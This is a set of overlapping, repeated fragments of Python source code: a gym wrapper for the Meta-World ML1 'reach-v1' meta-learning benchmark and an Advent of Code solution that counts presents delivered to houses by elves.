"out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks =",
"seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx = idx",
"test=False): # aparently this is called only without idx, so tasks are always",
"#this env will change depending on the idx self.observation_space = self.env.observation_space self.action_space =",
"len(self.tasks) - 1) else: task = randint(0, len(self.train_tasks) - 1) self.set_task(task) def render(self):",
"self.train_env #this env will change depending on the idx self.observation_space = self.env.observation_space self.action_space",
"info = self.env.step(action) if self.episode_steps >= self._max_episode_steps: done = True return obs, reward,",
"to set anything only at test time if task is None: if test:",
"self._max_episode_steps = max_episode_steps # self.get_tasks_goals() # self.reset_task() def step(self, action): self.episode_steps += 1",
"done, info def reset(self): self.episode_steps = 0 return self.env.reset() def seed(self, seed): self.train_env.seed(seed)",
"# we have to set anything only at test time if task is",
"= self.env.step(action) if self.episode_steps >= self._max_episode_steps: done = True return obs, reward, done,",
"0.175]) self.current_task_idx = 0 self.episode_steps = 0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals() #",
"1) self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx) _,",
"task is None: if test: task = randint(len(self.train_tasks), len(self.tasks) - 1) else: task",
"randint(0, len(self.train_tasks) - 1) self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self): for idx in",
"reward, done, info = self.env.step(action) if self.episode_steps >= self._max_episode_steps: done = True return",
"as np import gym from random import randint from metaworld.benchmarks import ML1 class",
"import ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env",
"self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None, test=False): # aparently this is called only",
"idx self.env = self.train_env if idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal =",
"self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx = 0 self.episode_steps",
"= np.array([0, 0.85, 0.175]) self.current_task_idx = 0 self.episode_steps = 0 self._max_episode_steps = max_episode_steps",
"len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos",
"True return obs, reward, done, info def reset(self): self.episode_steps = 0 return self.env.reset()",
"def get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx) _, _, _, info = self.step(self.action_space.sample())",
"self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx) _, _,",
"max_episode_steps # self.get_tasks_goals() # self.reset_task() def step(self, action): self.episode_steps += 1 obs, reward,",
"set_task(self, idx): self.current_task_idx = idx self.env = self.train_env if idx < len(self.train_tasks) else",
"= randint(len(self.train_tasks), len(self.tasks) - 1) else: task = randint(0, len(self.train_tasks) - 1) self.set_task(task)",
"def reset_task(self, task=None, test=False): # aparently this is called only without idx, so",
"if idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self): return",
"self.episode_steps = 0 return self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return",
"0 self.episode_steps = 0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals() # self.reset_task() def step(self,",
"reset_task(self, task=None, test=False): # aparently this is called only without idx, so tasks",
"import randint from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10,",
"def reset(self): self.episode_steps = 0 return self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def",
"self.env = self.train_env #this env will change depending on the idx self.observation_space =",
"self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx = idx self.env =",
"task = randint(len(self.train_tasks), len(self.tasks) - 1) else: task = randint(0, len(self.train_tasks) - 1)",
"get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx) _, _, _, info = self.step(self.action_space.sample()) self.tasks[idx]['goal_pos']",
"obs, reward, done, info def reset(self): self.episode_steps = 0 return self.env.reset() def seed(self,",
"self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self,",
">= self._max_episode_steps: done = True return obs, reward, done, info def reset(self): self.episode_steps",
"= randint(0, len(self.train_tasks) - 1) self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self): for idx",
"return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx = idx self.env = self.train_env if idx",
"self.current_task_idx = 0 self.episode_steps = 0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals() # self.reset_task()",
"idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal']",
"if self.episode_steps >= self._max_episode_steps: done = True return obs, reward, done, info def",
"self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks self.env =",
"np import gym from random import randint from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env):",
"= self.train_env #this env will change depending on the idx self.observation_space = self.env.observation_space",
"**kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks =",
"seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx =",
"= idx self.env = self.train_env if idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal",
"randint from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs):",
"we have to set anything only at test time if task is None:",
"self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx = idx self.env",
"super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks)",
"aparently this is called only without idx, so tasks are always scrambled #",
"task = randint(0, len(self.train_tasks) - 1) self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self): for",
"return obs, reward, done, info def reset(self): self.episode_steps = 0 return self.env.reset() def",
"import gym from random import randint from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def",
"__init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env =",
"obs, reward, done, info = self.env.step(action) if self.episode_steps >= self._max_episode_steps: done = True",
"idx in range(len(self.tasks)): self.reset_task(idx) _, _, _, info = self.step(self.action_space.sample()) self.tasks[idx]['goal_pos'] = info['goal']",
"test time if task is None: if test: task = randint(len(self.train_tasks), len(self.tasks) -",
"def step(self, action): self.episode_steps += 1 obs, reward, done, info = self.env.step(action) if",
"from random import randint from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False,",
"= self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx = 0 self.episode_steps = 0",
"for idx in range(len(self.tasks)): self.reset_task(idx) _, _, _, info = self.step(self.action_space.sample()) self.tasks[idx]['goal_pos'] =",
"idx self.observation_space = self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx",
"reward, done, info def reset(self): self.episode_steps = 0 return self.env.reset() def seed(self, seed):",
"0 return self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def",
"< len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] #",
"= True return obs, reward, done, info def reset(self): self.episode_steps = 0 return",
"have to set anything only at test time if task is None: if",
"def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env",
"is None: if test: task = randint(len(self.train_tasks), len(self.tasks) - 1) else: task =",
"self.reset_task() def step(self, action): self.episode_steps += 1 obs, reward, done, info = self.env.step(action)",
"goal_pos def reset_task(self, task=None, test=False): # aparently this is called only without idx,",
"self.observation_space = self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx =",
"at test time if task is None: if test: task = randint(len(self.train_tasks), len(self.tasks)",
"self.tasks = self.train_tasks + self.test_tasks self.env = self.train_env #this env will change depending",
"import numpy as np import gym from random import randint from metaworld.benchmarks import",
"get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx = idx self.env = self.train_env if",
"self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx):",
"is called only without idx, so tasks are always scrambled # we have",
"self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks self.env = self.train_env #this env will change",
"info def reset(self): self.episode_steps = 0 return self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed)",
"# goal_pos def reset_task(self, task=None, test=False): # aparently this is called only without",
"= 0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals() # self.reset_task() def step(self, action): self.episode_steps",
"change depending on the idx self.observation_space = self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin =",
"numpy as np import gym from random import randint from metaworld.benchmarks import ML1",
"from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env,",
"scrambled # we have to set anything only at test time if task",
"only without idx, so tasks are always scrambled # we have to set",
"self.train_tasks + self.test_tasks self.env = self.train_env #this env will change depending on the",
"self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks =",
"on the idx self.observation_space = self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin = np.array([0, 0.85,",
"def render(self): self.env.render() def get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx) _, _, _,",
"out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks self.env",
"self.episode_steps = 0 self._max_episode_steps = max_episode_steps # self.get_tasks_goals() # self.reset_task() def step(self, action):",
"randint(len(self.train_tasks), len(self.tasks) - 1) else: task = randint(0, len(self.train_tasks) - 1) self.set_task(task) def",
"def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None, test=False): # aparently this",
"self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None, test=False): # aparently",
"self.get_tasks_goals() # self.reset_task() def step(self, action): self.episode_steps += 1 obs, reward, done, info",
"ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks",
"action): self.episode_steps += 1 obs, reward, done, info = self.env.step(action) if self.episode_steps >=",
"always scrambled # we have to set anything only at test time if",
"random import randint from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50,",
"get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None, test=False): # aparently this is",
"= 0 return self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks))",
"- 1) self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx)",
"= max_episode_steps # self.get_tasks_goals() # self.reset_task() def step(self, action): self.episode_steps += 1 obs,",
"# self.get_tasks_goals() # self.reset_task() def step(self, action): self.episode_steps += 1 obs, reward, done,",
"= self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks self.env = self.train_env",
"= self.train_tasks + self.test_tasks self.env = self.train_env #this env will change depending on",
"self.train_env if idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self):",
"done = True return obs, reward, done, info def reset(self): self.episode_steps = 0",
"time if task is None: if test: task = randint(len(self.train_tasks), len(self.tasks) - 1)",
"done, info = self.env.step(action) if self.episode_steps >= self._max_episode_steps: done = True return obs,",
"idx, so tasks are always scrambled # we have to set anything only",
"= self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None, test=False): #",
"only at test time if task is None: if test: task = randint(len(self.train_tasks),",
"return self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self,",
"else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def",
"self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks + self.test_tasks self.env = self.train_env #this env",
"so tasks are always scrambled # we have to set anything only at",
"1) else: task = randint(0, len(self.train_tasks) - 1) self.set_task(task) def render(self): self.env.render() def",
"None: if test: task = randint(len(self.train_tasks), len(self.tasks) - 1) else: task = randint(0,",
"env will change depending on the idx self.observation_space = self.env.observation_space self.action_space = self.env.action_space",
"ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks",
"self._goal = self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None, test=False):",
"# self.reset_task() def step(self, action): self.episode_steps += 1 obs, reward, done, info =",
"n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks",
"self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx = 0 self.episode_steps = 0 self._max_episode_steps",
"step(self, action): self.episode_steps += 1 obs, reward, done, info = self.env.step(action) if self.episode_steps",
"are always scrambled # we have to set anything only at test time",
"return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None, test=False): # aparently this is called",
"self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks",
"called only without idx, so tasks are always scrambled # we have to",
"# aparently this is called only without idx, so tasks are always scrambled",
"= self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx = 0",
"+= 1 obs, reward, done, info = self.env.step(action) if self.episode_steps >= self._max_episode_steps: done",
"the idx self.observation_space = self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175])",
"range(len(self.tasks)) def set_task(self, idx): self.current_task_idx = idx self.env = self.train_env if idx <",
"= self.train_env if idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def",
"if test: task = randint(len(self.train_tasks), len(self.tasks) - 1) else: task = randint(0, len(self.train_tasks)",
"will change depending on the idx self.observation_space = self.env.observation_space self.action_space = self.env.action_space self.goal_space_origin",
"tasks are always scrambled # we have to set anything only at test",
"ML1 class ReachML1Env(gym.Env): def __init__(self, max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env =",
"max_episode_steps=150,out_of_distribution=False, n_train_tasks=50, n_test_tasks=10, **kwargs): super(ReachML1Env, self).__init__() self.train_env = ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1',",
"self.action_space = self.env.action_space self.goal_space_origin = np.array([0, 0.85, 0.175]) self.current_task_idx = 0 self.episode_steps =",
"task=None, test=False): # aparently this is called only without idx, so tasks are",
"anything only at test time if task is None: if test: task =",
"def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self): return range(len(self.tasks)) def set_task(self, idx): self.current_task_idx",
"= ML1.get_train_tasks('reach-v1', out_of_distribution=out_of_distribution) self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks)",
"self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal'] def get_task(self): return self.tasks[self.current_task_idx]['goal'] # goal_pos def reset_task(self, task=None,",
"self.env.render() def get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx) _, _, _, info =",
"self.test_env = ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks",
"self.current_task_idx = idx self.env = self.train_env if idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx])",
"reset(self): self.episode_steps = 0 return self.env.reset() def seed(self, seed): self.train_env.seed(seed) self.test_env.seed(seed) def get_all_task_idx(self):",
"self.test_tasks self.env = self.train_env #this env will change depending on the idx self.observation_space",
"render(self): self.env.render() def get_tasks_goals(self): for idx in range(len(self.tasks)): self.reset_task(idx) _, _, _, info",
"gym from random import randint from metaworld.benchmarks import ML1 class ReachML1Env(gym.Env): def __init__(self,",
"self.env = self.train_env if idx < len(self.train_tasks) else self.test_env self.env.set_task(self.tasks[idx]) self._goal = self.tasks[idx]['goal']",
"else: task = randint(0, len(self.train_tasks) - 1) self.set_task(task) def render(self): self.env.render() def get_tasks_goals(self):",
"= ML1.get_test_tasks('reach-v1', out_of_distribution=out_of_distribution) self.train_tasks = self.train_env.sample_tasks(n_train_tasks) self.test_tasks = self.test_env.sample_tasks(n_test_tasks) self.tasks = self.train_tasks +"
] |
[
"his or her # number at each house. # # So, the first",
"House 7 got 80 presents. # House 8 got 150 presents. # House",
"and 4, for a total of 10 + 20 + 40 = 70",
"# # --- Part Two --- # # The Elves decide they don't",
"based on that number: # # The first Elf (number 1) delivers presents",
"60 presents. # House 6 got 120 presents. # House 7 got 80",
"lowest house number of the house to get at least as many presents",
"3 delivers presents to every third house: 3, 6, 9, 12, 15, ....",
"gets 10 presents: it is visited only by Elf 1, which delivers 1",
"houses. To make up for it, they decide to deliver presents equal to",
"in your puzzle input? # # --- Part Two --- # # The",
"House 4 got 70 presents. # House 5 got 60 presents. # House",
"every third house: 3, 6, 9, 12, 15, .... # # There are",
"presents equal to eleven times their number at each # house. # #",
"your puzzle input? from math import sqrt def get_part1_factors(n): factors = set() for",
"x in range(1, int(sqrt(n)) + 1): if n % x == 0: if",
"stop after delivering # presents to 50 houses. To make up for it,",
"number at each house. # # So, the first nine houses on the",
"down a street with # infinite houses numbered sequentially: 1, 2, 3, 4,",
"them deliver some presents by hand, door-to-door. He sends them down a street",
"# Elf number 3 delivers presents to every third house: 3, 6, 9,",
"infinite number of houses. Instead, each Elf will stop after delivering # presents",
"2, 3, 4, 5, .... # The second Elf (number 2) delivers presents",
"3, 4, 5, and so on. # # Each Elf is assigned a",
"Two --- # # The Elves decide they don't want to visit an",
"make up for it, they decide to deliver presents equal to eleven times",
"House 5 got 60 presents. # House 6 got 120 presents. # House",
"house number of the house to get at least as many presents as",
"Part Two --- # # The Elves decide they don't want to visit",
"number of houses. Instead, each Elf will stop after delivering # presents to",
">= n: factors.add(n // x) return factors data = 33100000 # Part 1",
"2, and 4, for a total of 10 + 20 + 40 =",
"= sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break",
"# The second Elf (number 2) delivers presents to every second house: 2,",
"1): if n % x == 0: factors.add(x) factors.add(n // x) return factors",
"4 got 70 presents. # House 5 got 60 presents. # House 6",
"The fourth house # gets 70 presents, because it is visited by Elves",
"Elf number 3 delivers presents to every third house: 3, 6, 9, 12,",
"20 + 40 = 70 presents. # # What is the lowest house",
"# --- Part Two --- # # The Elves decide they don't want",
"int(sqrt(n)) + 1): if n % x == 0: if x * 50",
"50 >= n: factors.add(x) if (n // x) * 50 >= n: factors.add(n",
"times their number at each # house. # # With these changes, what",
"as many presents as the number # in your puzzle input? from math",
"With these changes, what is the new lowest house number of the house",
"presents to houses based on that number: # # The first Elf (number",
"factors = set() for x in range(1, int(sqrt(n)) + 1): if n %",
"they decide to deliver presents equal to eleven times their number at each",
"to visit an infinite number of houses. Instead, each Elf will stop after",
"number in your puzzle input? # # --- Part Two --- # #",
"To make up for it, they decide to deliver presents equal to eleven",
"# # With these changes, what is the new lowest house number of",
"= 1 while True: presents = sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents >=",
"10 + 20 + 40 = 70 presents. # # What is the",
"// x) return factors def get_part2_factors(n): factors = set() for x in range(1,",
"i*10, get_part1_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no += 1",
"presents. # # What is the lowest house number of the house to",
"number of the house to get at least as many presents as the",
"def get_part1_factors(n): factors = set() for x in range(1, int(sqrt(n)) + 1): if",
"houses numbered sequentially: 1, 2, 3, 4, 5, and so on. # #",
"factors.add(n // x) return factors def get_part2_factors(n): factors = set() for x in",
"1 * 10 = 10 presents. The fourth house # gets 70 presents,",
"which delivers 1 * 10 = 10 presents. The fourth house # gets",
"math import sqrt def get_part1_factors(n): factors = set() for x in range(1, int(sqrt(n))",
"eleven times their number at each # house. # # With these changes,",
"i: i*11, get_part2_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no +=",
"house # gets 70 presents, because it is visited by Elves 1, 2,",
"2 house_no = 1 while True: presents = sum(map(lambda i: i*11, get_part2_factors(house_no))) if",
"infinitely many Elves, numbered starting with 1. Each Elf delivers presents equal to",
"House 9 got 130 presents. # # The first house gets 10 presents:",
"To keep the Elves busy, Santa has them deliver some presents by hand,",
"each # house. # # With these changes, what is the new lowest",
"number: # # The first Elf (number 1) delivers presents to every house:",
"# # There are infinitely many Elves, numbered starting with 1. Each Elf",
"every second house: 2, 4, 6, 8, 10, .... # Elf number 3",
"by hand, door-to-door. He sends them down a street with # infinite houses",
"# # So, the first nine houses on the street end up like",
"= 33100000 # Part 1 house_no = 1 while True: presents = sum(map(lambda",
"i: i*10, get_part1_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no +=",
"in range(1, int(sqrt(n)) + 1): if n % x == 0: factors.add(x) factors.add(n",
"house: 3, 6, 9, 12, 15, .... # # There are infinitely many",
"return factors def get_part2_factors(n): factors = set() for x in range(1, int(sqrt(n)) +",
"0: if x * 50 >= n: factors.add(x) if (n // x) *",
"if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no += 1 # Part",
"the house to get at least as many presents as the number in",
"5 got 60 presents. # House 6 got 120 presents. # House 7",
"second Elf (number 2) delivers presents to every second house: 2, 4, 6,",
"40 = 70 presents. # # What is the lowest house number of",
"print(\"House no: {0}\".format(house_no)) break house_no += 1 # Part 2 house_no = 1",
"got 60 presents. # House 6 got 120 presents. # House 7 got",
"# House 8 got 150 presents. # House 9 got 130 presents. #",
"it is visited by Elves 1, 2, and 4, for a total of",
"the number in your puzzle input? # # --- Part Two --- #",
"to houses based on that number: # # The first Elf (number 1)",
"houses. Instead, each Elf will stop after delivering # presents to 50 houses.",
"visit an infinite number of houses. Instead, each Elf will stop after delivering",
"break house_no += 1 # Part 2 house_no = 1 while True: presents",
"to eleven times their number at each # house. # # With these",
"by Elf 1, which delivers 1 * 10 = 10 presents. The fourth",
"n: factors.add(n // x) return factors data = 33100000 # Part 1 house_no",
"times his or her # number at each house. # # So, the",
"% x == 0: factors.add(x) factors.add(n // x) return factors def get_part2_factors(n): factors",
"80 presents. # House 8 got 150 presents. # House 9 got 130",
"has them deliver some presents by hand, door-to-door. He sends them down a",
"2, 3, 4, 5, and so on. # # Each Elf is assigned",
"the street end up like this: # # House 1 got 10 presents.",
"if n % x == 0: if x * 50 >= n: factors.add(x)",
"deliver presents equal to eleven times their number at each # house. #",
"There are infinitely many Elves, numbered starting with 1. Each Elf delivers presents",
"hand, door-to-door. He sends them down a street with # infinite houses numbered",
"1, 2, 3, 4, 5, and so on. # # Each Elf is",
"70 presents. # # What is the lowest house number of the house",
"at least as many presents as the number # in your puzzle input?",
"because it is visited by Elves 1, 2, and 4, for a total",
"too, and delivers presents to houses based on that number: # # The",
"number, too, and delivers presents to houses based on that number: # #",
"presents to 50 houses. To make up for it, they decide to deliver",
"street end up like this: # # House 1 got 10 presents. #",
"presents. # House 2 got 30 presents. # House 3 got 40 presents.",
"= sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break",
"130 presents. # # The first house gets 10 presents: it is visited",
"while True: presents = sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents >= data: print(\"House",
"3, 4, 5, .... # The second Elf (number 2) delivers presents to",
"only by Elf 1, which delivers 1 * 10 = 10 presents. The",
"1 got 10 presents. # House 2 got 30 presents. # House 3",
"equal to ten times his or her # number at each house. #",
"== 0: if x * 50 >= n: factors.add(x) if (n // x)",
"1, 2, and 4, for a total of 10 + 20 + 40",
"House 8 got 150 presents. # House 9 got 130 presents. # #",
"10 presents: it is visited only by Elf 1, which delivers 1 *",
"many presents as the number # in your puzzle input? from math import",
"a street with # infinite houses numbered sequentially: 1, 2, 3, 4, 5,",
"15, .... # # There are infinitely many Elves, numbered starting with 1.",
"# House 7 got 80 presents. # House 8 got 150 presents. #",
"factors.add(n // x) return factors data = 33100000 # Part 1 house_no =",
"got 10 presents. # House 2 got 30 presents. # House 3 got",
"set() for x in range(1, int(sqrt(n)) + 1): if n % x ==",
"to get at least as many presents as the number in your puzzle",
"n % x == 0: if x * 50 >= n: factors.add(x) if",
"many Elves, numbered starting with 1. Each Elf delivers presents equal to ten",
"equal to eleven times their number at each # house. # # With",
"# House 3 got 40 presents. # House 4 got 70 presents. #",
"8, 10, .... # Elf number 3 delivers presents to every third house:",
"at least as many presents as the number in your puzzle input? #",
"in range(1, int(sqrt(n)) + 1): if n % x == 0: if x",
"# in your puzzle input? from math import sqrt def get_part1_factors(n): factors =",
"// x) * 50 >= n: factors.add(n // x) return factors data =",
"Day 20: Infinite Elves and Infinite Houses --- # # To keep the",
"Elf is assigned a number, too, and delivers presents to houses based on",
"if n % x == 0: factors.add(x) factors.add(n // x) return factors def",
"3 got 40 presents. # House 4 got 70 presents. # House 5",
"sends them down a street with # infinite houses numbered sequentially: 1, 2,",
"x == 0: if x * 50 >= n: factors.add(x) if (n //",
"from math import sqrt def get_part1_factors(n): factors = set() for x in range(1,",
"# House 2 got 30 presents. # House 3 got 40 presents. #",
"Elf 1, which delivers 1 * 10 = 10 presents. The fourth house",
"presents: it is visited only by Elf 1, which delivers 1 * 10",
"house_no = 1 while True: presents = sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents",
"changes, what is the new lowest house number of the house to get",
"these changes, what is the new lowest house number of the house to",
"don't want to visit an infinite number of houses. Instead, each Elf will",
"// x) return factors data = 33100000 # Part 1 house_no = 1",
".... # The second Elf (number 2) delivers presents to every second house:",
"Each Elf delivers presents equal to ten times his or her # number",
"Elves and Infinite Houses --- # # To keep the Elves busy, Santa",
"numbered starting with 1. Each Elf delivers presents equal to ten times his",
"Instead, each Elf will stop after delivering # presents to 50 houses. To",
"sqrt def get_part1_factors(n): factors = set() for x in range(1, int(sqrt(n)) + 1):",
"8 got 150 presents. # House 9 got 130 presents. # # The",
"new lowest house number of the house to get at least as many",
"n: factors.add(x) if (n // x) * 50 >= n: factors.add(n // x)",
"house. # # With these changes, what is the new lowest house number",
"delivers presents to houses based on that number: # # The first Elf",
"* 10 = 10 presents. The fourth house # gets 70 presents, because",
"Santa has them deliver some presents by hand, door-to-door. He sends them down",
"first nine houses on the street end up like this: # # House",
">= n: factors.add(x) if (n // x) * 50 >= n: factors.add(n //",
"presents as the number in your puzzle input? # # --- Part Two",
